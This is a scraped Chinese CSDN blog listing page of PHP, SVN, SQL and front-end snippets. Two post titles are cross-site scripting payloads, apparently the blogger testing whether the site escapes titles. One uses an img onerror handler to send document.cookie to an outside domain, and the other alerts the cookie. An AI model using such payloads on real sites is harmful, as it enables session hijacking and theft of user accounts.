自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

周梦康的代码碎片

我的博客 http://mengkang.net/

  • 博客(52)
  • 资源 (2)
  • 收藏
  • 关注

原创 <img src=hi onerror='(new Image()).src="http://mengkang.net/?getCookie="+document.cookie'>

11

2015-10-09 21:07:22 1199

原创 "><img src=hi onerror=alert(document.cookie)>

test

2015-10-09 14:01:02 1258 1

原创 java碎片

# UserService.javapublic class UserService { public interface UserTemplate{ User createUser(int id); } public static List<User> userList(ArrayList<Integer> ids,UserTemplate userTemp

2015-08-28 11:27:18 508

原创 跳过csdn直接直接host访问检查

wget --header="Host:api.topit.me" "http://211.155.84.140:81/?method=post.get&id=61108"

2015-02-04 15:27:55 899

原创 svn cat -r {rev} filename > filename

svn up -r r6svn ci - m="rb"

2015-02-02 10:49:05 636

转载 413 Request Entity Too Large

413 Request Entity Too Large

2014-12-26 17:23:03 532

原创 yaf默认路由

$router = Yaf_Dispatcher::getInstance()->getRouter();var_export($router);Yaf_Router::__set_state( array( '_routes' => array ( '_default' => Yaf_Route_Static::__set_state(array())

2014-12-24 00:05:50 950

转载 使用automake,autoconf来生成开源标准的Makefile

http://www.laruence.com/2009/11/18/1154.html

2014-12-11 10:43:41 476

原创 已经存在了仓库中的文件但是现在不想让别人看到

先把文件名添加到.gitignore然后 commit  push再把 那个文件复制一份出来再 git rm --cached xxx再把那个文件复制进去开源代码的配置文件, 一般都是在仓库里放一个config.conf.example然后把config.conf 加到 .gitignore 里面,这样大家从仓库拉代码下来之后,就可以修改config.conf就

2014-12-02 22:06:56 1296

原创 Imagick处理图片简单demo

$v= $_FILES['image']['tmp_name'];@ob_start();readfile($v);$img = ob_get_contents();ob_end_clean();$m_width = 245;$m_height = 200;$m_dest = __DIR__.'/'.time().'.jpg';$m_thumb = new Imagick($v

2014-11-19 14:03:09 859

原创 远程协同开发数据库的使用

远程协同开发,问题一大堆,之前说好的是本地数据库结构更改,或者添加表等操作的时候就往线上更新一次,然后往tower里写一份更新说明,其他人收到邮件后再去更新自己的本地库,如果现在项目快要收尾了,发现开发用到的数据库结构完全不一致,而导致最后必须以一个人的为标准,其他人的代码重写。出现这种情况的表面原因是开发人员没有按流程操作。本质原因是因为我们大家使用的是不同的数据库。如果使用远程数据库的

2014-11-05 11:19:14 1012

转载 模拟ThinkPHP在U函数里写路由,支持多级路由

模拟ThinkPHP在U函数里写路由,支持多级路由,思路来源ThinkSNS。欢迎拍砖提意见,轻喷。伪静态配置(nginx.conf)location / {rewrite ^/?([0-9]+).html$ /index.php?m=Blog&a=blog&id=$1 last;rewrite ^/?([

2014-03-25 23:27:28 792

原创 原生sql_query写入“\r\n”会保存为回车到数据库中

error_reporting(E_ALL);set_time_limit(0);$db = mysql_connect('localhost','root','zmkzmk') or die("Database error"); mysql_select_db('zhoumengkang', $db); $result = mysql_query("set names 'utf8'");

2014-03-25 10:03:46 7741

原创 js小困惑

这段js是外链引入,而且是放在了$(function(){})里面$("a[title='consoleHide']").click( function(){ $("#console").fadeOut('slow'); });隐藏导航这样点击是OK。如果换成了:consoleHide()">隐藏导航我还是外链引入的js文件中,而且是放在了$(function(

2014-03-01 20:16:52 669

转载 手抄代码之装饰模式

demo是理解了,但是能不能灵活运用到项目中去,又是另一回事了.echo '';class RequestHelper{}//抽象基类abstract class ProcessRequest{ abstract function process(RequestHelper $req);}//具体组建类class MainProcess extends ProcessReq

2014-01-11 23:03:57 749

原创 lnmp环境下修复DedeCMS在PHP 5.3及以上版本BUG

错误提示为:DedeCMS Error: (PHP 5.3 and above) Please set 'request_order' ini value to include C,G and P (recommended: 'CGP') in php.ini官方的方案:由于在PHP最新的版本中增加了一个配置项目“request_order”,默认值为“GP”,这个存在一定

2013-11-07 09:25:46 795

转载 自定义上传按钮样式的终极解决方案_input透明法

原文地址:http://jingyan.baidu.com/article/6181c3e0708609152ff1537a.html.div1{float: left;height: 41px;background: #f5696c;width: 144px;position:relative;}.div2{text-align:center;padding-top:

2013-11-05 20:35:02 1043

原创 thinksns 第三方登陆

绑定成功了之后必须设置下面两个SESSION $_SESSION['mid'] = $login['uid'];//如果能找到,那就把绑定的用户的uid存入session $_SESSION['SITE_KEY'] = getSiteKey();因为在Action.class.php里面的initUser方法里model('Passport')->isLogged()做了是否登陆判断

2013-08-14 10:24:15 1604

原创 Warning: post-commit hook failed (exit code 255) with no output

今天折腾SVN提交完成触发钩子 post-commit我在post-commit里执行了一段python脚本而我单独运行python脚本,没有问题我又单独运行sh post-commit 也没问题我把SVN的报错复制下来谷歌了下http://subversion.tigris.org/ds/viewMessage.do?dsForumId=1065&dsMessageId=20

2013-06-26 14:46:53 4075

原创 记录问题,linux 上svn checkout 失败 Can’t move ‘.svn/tmp/entries’ to ‘.svn/entries’

svn export svn://xxx/repos1 /mnt/hgfs/code/svntest/ 却能够成功导出

2013-06-26 13:38:44 1796

转载 strspn() 函数返回在字符串中包含的特定字符的数目。

<?phpecho strspn("Hello world!","kHlleo");?>输出:5

2013-05-30 14:06:59 621

原创 逐行修改容量较大的文件的操作 fgets 和fgetcsv

set_time_limit(0);$file = fopen("wordlist.raw","r");while(! feof($file)){ $string = fgets($file);//从文件指针中读取一行 $array=explode(' ',$string); $array[2] = '"'.$array[2].'"'; $string = implode(' ',$

2013-05-28 09:45:23 869

原创 三表关联查询-多次LEFT JOIN...ON

$sql = "SELECT a.year,a.guid,a.description,b.description AS pic_des,c.year AS pic_year,c.month AS pic_month,c.day AS pic_day,c.file AS pic_file FROM m_honor2_honor2 a LEFT JOIN m_honor2_pics b ON a.g

2013-05-27 11:02:46 4128

转载 很久以前有两个程序

很久以前有两个程序,当时的水准都差不多,现在A是上市公司的技术总监,B还在不停的跳槽,反反复复在“小团队主程”和“大公司打杂”的两种岗位之间不停切换。B一直把这些不同归咎于自己没有遇到A那样子的机遇,经常在群里和微博抱怨自己的运气。        那天我终于忍不住了,在他再一次抱怨之后,我开始喷他,我说你就从来没有想过自己的原因么?同样是一个临时小活动,我叫A做的时候,A都会告诉 我,他手

2013-05-21 16:02:12 626

原创 ArrayAccess(数组式访问)接口,你有一个对象,但是你希望能将其看作一个数组

http://www.php.net/manual/zh/class.arrayaccess.php你有一个对象,但是你希望能将其看作一个数组。这样就既可以利用面向对象设计的益处,又可享受熟悉的数组接口的便利!原来标准PHP类库这么强大,得好好看看哦!

2013-05-10 20:24:19 750

原创 查询所有订单的最新信息的SQL语句的写法 DISTINCT配合count和group by一起完成

场景:每个订单会持续更新,客户需要能查看每次更新的内容,所以每次更新我都会存一次,而不是在原来的基础上更新。现在需要查看每个订单的最新信息。SELECT *,count(DISTINCT ordernum) FROM xxxx group by ordernum order by addtime descArray( [0] => Array

2013-05-09 17:35:23 2096

原创 新发现数据量存"2013-5-14 6:20"smarty的date_format函数还能够认识,mysql也能自动识别?

数据库里date字段存的是2013-5-14 6:20{$v.date|date_format:"%Y/%m/%d %H:%M"}居然完美解析了?坑,我真是瞎猫碰到死耗子了,我本来是设计的录入的时候默认录入时间戳,后来修改为数据录入人员手动录入。根据日期来做排序,order  by xx desc (asc) 都好使!mysql也能自动把这种格式的数据当作时

2013-05-08 13:49:25 727

原创 函数套着用就提示:Strict Standards: Only variables should be passed by reference

$start = array_shift(explode(':',$qifeishijian));这样写就报错,Strict Standards: Only variables should be passed by reference分开了写就不报错 $start = explode(':',$qifeishijian); $start = array_shift($star

2013-05-08 11:27:15 708

转载 中文字符串截取函数

function str_cut_utf8($string, $length = 100, $etc = '...', $break_words = false, $middle = false) { if ($length == 0) return ''; $string = strip_tags ( $string); $string=preg_replace('/[\n\r\t]/

2013-05-07 14:50:30 601

原创 PHP echo输出的内容包含html ,但是html不解析的不完全解决办法

http://blog.sina.com.cn/s/blog_9f1cb46701014dg5.htmlhtml_entity_decode($string, ENT_QUOTES, 'UTF-8')测试了下,的确好使,但是我在这个内容的外围包上了标签,又不能解析了。php echo 出来的字串默认情况应该是解析的(在本地测试是解析的)不知道为什么会出现这种情况。在用s

2013-05-06 18:12:46 2379

转载 Firefox+console.log()取代讨厌的alert()调试方法

最简单的方法是console.log(),可以用来取代alert()或document.write()。比如,在网页脚本中使用console.log("Hello World"),加载时控制台就会自动显示如下内容。另外,根据信息的不同性质,console对象还有4种显示信息的方法,分别是一般信息console.info()、除错信息console.debug()、警告提示conso

2013-03-22 15:53:21 997

转载 array_map — 将回调函数作用到给定数组的单元上

array_map — 将回调函数作用到给定数组的单元上extract —从数组中将变量导入到当前的符号表extract() 检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。对待非法/数字和冲突的键名的方法将根据extract_type 参数决定。$_POST = array_map('trim',$_POST);extract($

2013-03-15 18:00:28 652

原创 smarty中我的二级菜单的遍历方法

//查询得到一级菜单$type = API_PRODUCT::ALL_TYPE_LIST($query);//通过一级菜单的ID查询他下面的子菜单foreach($type as $k =>$v){ $product[$v['id']] = API_PRODUCT::PRODUCT_LIST_BY_TYPEID($query, $v['id']);}//模版输出 {foreach

2013-03-14 14:33:16 983

转载 isset的判断

若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。同时要注意的是一个 NULL 字节("\0")并不等同于 PHP 的 NULL 常数。<?php$var = '';// 结果为 TRUE,所以后边的文本将被打印出来。if (isset($var)) {print "This var is set set so I will print.";}

2013-03-14 09:13:10 808

原创 smarty导航上列表中最后一个有特定样式的输出

{foreach from=$v.son item="value"} {if $value@last} {else} {/if}{$value.m_title}{/foreach}

2013-03-11 09:07:30 619

原创 is_numeric 的用处例举

$page = isset($page) && is_numeric($page) ? $page : 0;检测变量是否为数字或数字字符串

2013-03-07 15:32:31 593

原创 新环境、新工具,只为提升PHP开发效率

http://www.apachefriends.orghttp://www.adminer.org/http://www.zend.com/en/community/pdt/downloads

2013-03-06 11:44:13 619

转载 thinkphp中模版引擎中常用的变量输出

$Think.session获取$_SESSION{$Think.session.user_id}$Think.cookie获取$_COOKIE{$Think.cookie.username}$Think.server获取$_SERVER{$Think.server.php_self}$Think.get

2013-01-26 00:29:39 661

转载 jQuery实例--Ajax信息的增删改查等操作

jQuery实例 $(function(){ //调用加载数据函数 loadstu(); //为添加按钮绑定一个添加动作 $("#aid").click(function(){ $("#fill").show(); $("#myform").show(); }); });

2013-01-24 09:59:00 11915

原创 PHP简单知识竞赛(在线答题)

需要用到两张表:paper和questionsCREATE TABLE `paper` ( `Id` int(11) NOT NULL auto_increment, `UserId` int(10) NOT NULL, `SingleChoice` varchar(150) default NULL, `MultipleChoice` varchar(150) defau

2013-01-19 22:43:00 4743

全国大学数据表(1000所)2013.1.10

mysql数据库直接导入, 其他格式,请自己转换

2013-01-10

css图片下载(php脚本)

一次性下载整个css中的所有图片。 首相将下载的css脚本压缩包解压,放入到本地php服务器环境中。最后 把需要下载的css地址复制到输入框中,然后提交表单就可以下载了。

2013-01-01

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除